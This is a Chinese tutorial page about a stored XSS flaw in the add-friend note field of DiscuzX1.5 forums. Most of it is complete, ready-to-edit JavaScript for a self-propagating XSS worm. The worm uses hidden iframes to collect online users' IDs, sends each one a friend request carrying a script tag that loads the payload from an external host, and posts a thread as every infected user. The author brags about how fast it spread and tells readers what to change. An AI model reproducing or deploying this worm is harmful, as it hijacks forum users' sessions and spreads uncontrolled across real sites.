您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
DiscuzX1.5利用添加好友处存储xss进行蠕虫worm扩散
听蓉2025-07-13Discuz教程已有人查阅
导读DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
//code for xss test
//论坛的基地址
var urlBase = "http://forum.xxx.com";
var add= function(uid){
var ifBox = window['ifBox'] || (window['ifBox']={});
var uyk = (new Date()).getTime();
var ifFame = ifBox[uyk] =document.createElement("iframe");
ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;
ifFame.width=0;ifFame.height=0;
ifFame.onload = function(){
try{
//存放xss payload的地址
ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';
ifFame.contentDocument.getElementById("addsubmit_btn").click();
ifFame=null;
}catch(err){
}
}
document.body.appendChild(ifFame);
}
var newThread = function(){
var if1 = document.createElement("iframe");
if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";
if1.width=0;if1.height=0;
if1.onload = function(){
var doc =if1.contentDocument;
doc.getElementById("subject").value = "哇卡卡卡~~~";
if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br> \ ^__^</br> \ (oo)\_______</br> (__)\ )\/\</br> ||----w |</br> || ||</br>";
doc.getElementById("postsubmit").click();
if1.onload = function(){return false;}
}
document.body.appendChild(if1);
}
var if0 = document.createElement("iframe");
if0.src= urlBase + "/forum.php?showoldetails=yes#online";
if0.width=0;if0.height=0;
if0.onload = function(){
var uli =if0.contentDocument.getElementsByTagName("li");
for(var i = 0;i<uli.length;i++){
if(uli.title.length > 5){
var uid = uli.childNodes[3].href.substring(uli.childNodes[3].href.indexOf("uid=")+4);
var r = Math.round(Math.random() * 10);
// if(i%10 == r){
//轻点
newThread();
add(uid);
// }
}
}
}
document.body.appendChild(if0);
这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助,实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把。
本文标签:
很赞哦! ()
相关教程
图文教程
Discuz源码调试方法
现在在网上用的最多的论坛程序是哪个,很明显:DISCUZ~看起来很像DISNEY吧~呵呵,确实,在论坛这个行业里,它就像DISNEY一样出名,现在它的.NET版本开源了
Discuz实现主题标题和正文同时显示的方法
本文实现功能:将主题标题和主题内容同时显示出来,如想直接看项目实现结果,可直接看解决问题的那个标题下的内容
为discuzx2.5添加mp4播放附件的方法
最近要做手机客户端,需要和论坛数据同步,因为iphone和andriod 能都支持的格式是mp3,mp4。所以论坛版块的音视频附件就限制为mp3,mp4格式。论坛本身支持mp3,可mp4不支持
discuz的PHP加解密算法函数介绍
authcode函数很牛叉,是一个具有有效期的加解密函数,同一个字符每次加密所产生的结果都是不一致的,并且可以自定义设置过期时间。设计原理authcode是使用异或运算进行加密和解
相关源码
-
(自适应)蓝色自动溶剂萃取仪器设备类网站pbootcms模板下载本模板为溶剂萃取设备、实验室仪器等精密仪器行业设计,采用PbootCMS内核开发,具有高度专业性和行业适配性。模板设计充分考虑了仪器设备行业展示需求,能够呈现各类精密仪器的技术参数、应用场景和解决方案。查看源码 -
Wordpress博客新闻主题在线商店平台betheme 21.5.6版BeTheme是一款功能丰富的WordPress主题模板,专注于为各行业提供网站建设解决方案。该模板支持WooCommerce电子商务功能,能够快速搭建在线商店平台,同时适用于博客、新闻资讯类网站建设。自2014年发布以来,该模板已经获得大量用户的使用验证。查看源码 -
(自适应响应式)房产合同知识产权企业管理pbootcms模板下载本模板基于PbootCMS系统开发,为知识产权服务、法律咨询及企业合同管理等行业设计。采用严谨专业的布局风格,突出法律文书与知识产权服务行业特色,适合展示各类法律服务和知识产权相关内容。查看源码 -
(自适应)绿色新闻生活百科资讯文章博客类网站pbootcms模板源码本模板基于PbootCMS开发,为生活百科、资讯文章和博客类网站设计。采用清新绿色系风格,提供舒适的阅读体验,同时适配PC和移动设备。适用于生活技巧分享、健康知识传播查看源码 -
(自适应手机端)锁锁芯锁具网站pbootcms模板 智能防盗锁网站源码下载本模板基于PbootCMS系统开发,为智能锁具、防盗锁芯及相关安防产品企业设计。采用响应式布局技术,确保在手机、平板和电脑等不同设备上都能获得良好的浏览体验,数据实时同步更新。查看源码 -
响应式茶叶茶道pbootcms网站模板源码(自适应手机端)棕色复古茶具主题的响应式网站模板,为茶叶茶道企业设计,同时支持古玩字画、艺术文化等行业的快速适配,通过替换文字图片即可转型为其他行业官网,大幅降低开发成本。查看源码
| 分享笔记 (共有 篇笔记) |
